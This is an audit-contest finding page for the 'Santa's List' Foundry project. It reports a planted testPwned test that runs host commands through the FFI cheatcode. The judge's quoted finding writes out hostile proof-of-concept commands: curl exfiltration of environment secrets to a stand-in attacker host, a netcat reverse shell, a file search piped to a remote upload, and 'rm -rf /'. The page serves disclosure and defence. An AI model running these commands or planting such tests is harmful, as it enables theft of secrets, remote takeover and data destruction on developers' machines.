Santa's List

AI First Flight #3
Beginner FriendlyFoundry
EXP
View results
Submission Details
Severity: high
Valid

Malicious `testPwned` runs arbitrary host commands via Foundry FFI, enabling code execution / data exfiltration on reviewers

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

## Description
​
The test suite ships a malicious test that executes an **arbitrary host shell command** via Foundry's FFI cheatcode whenever the tests are run. `test/mocks/CheatCodes.t.sol` declares the raw `ffi` interface and `test/unit/SantasListTest.t.sol::testPwned` invokes it:
​
```solidity
// test/mocks/CheatCodes.t.sol
interface _CheatCodes { function ffi(string[] calldata) external returns (bytes memory); }
​
// test/unit/SantasListTest.t.sol
_CheatCodes cheatCodes = _CheatCodes(HEVM_ADDRESS);
​
function testPwned() public {
string[] memory cmds = new string[](2);
cmds[0] = "touch";
cmds[1] = string.concat("youve-been-pwned"); // @> arbitrary command run on the dev's machine
cheatCodes.ffi(cmds);
}
```
​
With FFI enabled (`ffi = true` or `forge test --ffi`), running the project's tests executes this command on the auditor's/developer's machine. `touch youve-been-pwned` is a benign demonstration, but the exact same primitive can run any command — exfiltrate SSH keys, env vars, or private keys, or install a backdoor. It is planted malware in the test harness.
​
## Risk
​
**Likelihood: High**
​
- Anyone who runs the provided test suite with FFI (a normal step to verify the project) triggers arbitrary command execution; `testPwned` runs automatically with the rest of the tests.
​
**Impact: High**
​
- Arbitrary code execution on the victim's machine / data exfiltration. A reviewer running `forge test --ffi` hands the attacker command execution with the reviewer's privileges (secrets, keys, CI tokens).
​
## Proof of Concept
​
```bash
# forge test --ffi -m testPwned
# => a file `youve-been-pwned` appears in the working dir, proving arbitrary command execution.
# The command string is fully attacker-controlled and could instead exfiltrate ~/.ssh or env secrets.
```
​
## Recommended Mitigation
​
Remove `testPwned` and the `ffi` cheatcode usage; never enable `ffi` in `foundry.toml` for untrusted code. Audit all test files for `ffi`/external-command primitives before running a third-party repo's test suite.
​
}

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

​

Recommended Mitigation

- remove this code
+ add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-06] Malicious Test potentially allowing data extraction from the user running it

## Description The test suite includes a function named testPwned, which executes arbitrary commands on the user's machine. This presents a significant security risk, as such commands could potentially extract sensitive data, establish a reverse shell for remote control, search for passwords, or install malware. ## Vulnerability Details This is the malicious test, it looks inoffensive as it just create a file called `youve-been-pwned` but there is no underlying reason for this test to be here except a malicious behavior. ```javascript function testPwned() public { string[] memory cmds = new string[](2); cmds[0] = "touch"; cmds[1] = string.concat("youve-been-pwned"); cheatCodes.ffi(cmds); } ``` A more alarming scenario is demonstrated in the following proof of concept, where the user's API key could be compromised:. First export the api key in your shell ```bash export ARBITRUMSCAN_API_KEY='MY_SECRET_KEY' ``` Then execute the test to store the API key in a file: ```javascript function testWriteCommande() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "env | grep ARBITRUMSCAN_API_KEY > PwnedApiKey"; cheatCodes.ffi(cmds); } ``` Alternatively, transmit it to an external server: ```javascript cmds[2] = "curl 'https://<HACKER_IP>?arbitrum_rpc_url='$(env | grep ARBITRUM_RPC_URL | cut -d '=' -f2)"; ``` Other interesting POC that qualify this issue as a HIGH ### POC 1: Reverse Shell Using Netcat This POC demonstrates how a test could open a reverse shell, allowing an attacker to gain control over the user's machine. ```javascript function testReverseShell() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "nc -e /bin/bash <HACKER_IP> <PORT>"; cheatCodes.ffi(cmds); } ``` ### POC 2: Finding Files and Sending Results to a Server This POC shows how a test could find specific files (starting with "pass" ) and send the results to a remote server. ```javascript function testFindCommand() public { string[] memory cmds = new string[](3); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "find / -name 'pass*' | curl -F 'data=@-' https://<HACKER_IP>/upload"; cheatCodes.ffi(cmds); } ``` ### POC 3: Destructive Command (rm -rf /) This POC demonstrates a highly destructive command that could potentially erase all data on the user's root filesystem. # Warning: This command is extremely harmful and should never be executed. ```javascript function testDestructiveCommand() public { string[] memory cmds = new string[](2); cmds[0] = "bash"; cmds[1] = "-c"; cmds[2] = "rm -rf /"; cheatCodes.ffi(cmds); } ``` # Important Disclaimer: The rm -rf / command will delete everything on the filesystem for which the user has write permissions. It is provided here strictly for educational purposes to demonstrate the severity of security vulnerabilities in scripts and should never be run on any system. ## Impact This issue is categorized as HIGH due to the direct risk it poses to funds and sensitive information. The test, as it stands, is harmful, as it is used in a security contexts but i assume that the general purpose of this functionality is to be harmfull. It could lead to data breaches (including private keys and passwords), unauthorized remote code execution, and the potential destruction of digital information (e.g., rm -rf /). ## Recommendations Always exercise caution before running third-party programs on your system. Ensure you understand the functionality of any command or script to prevent unintended consequences, especially those involving security vulnerabilities.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!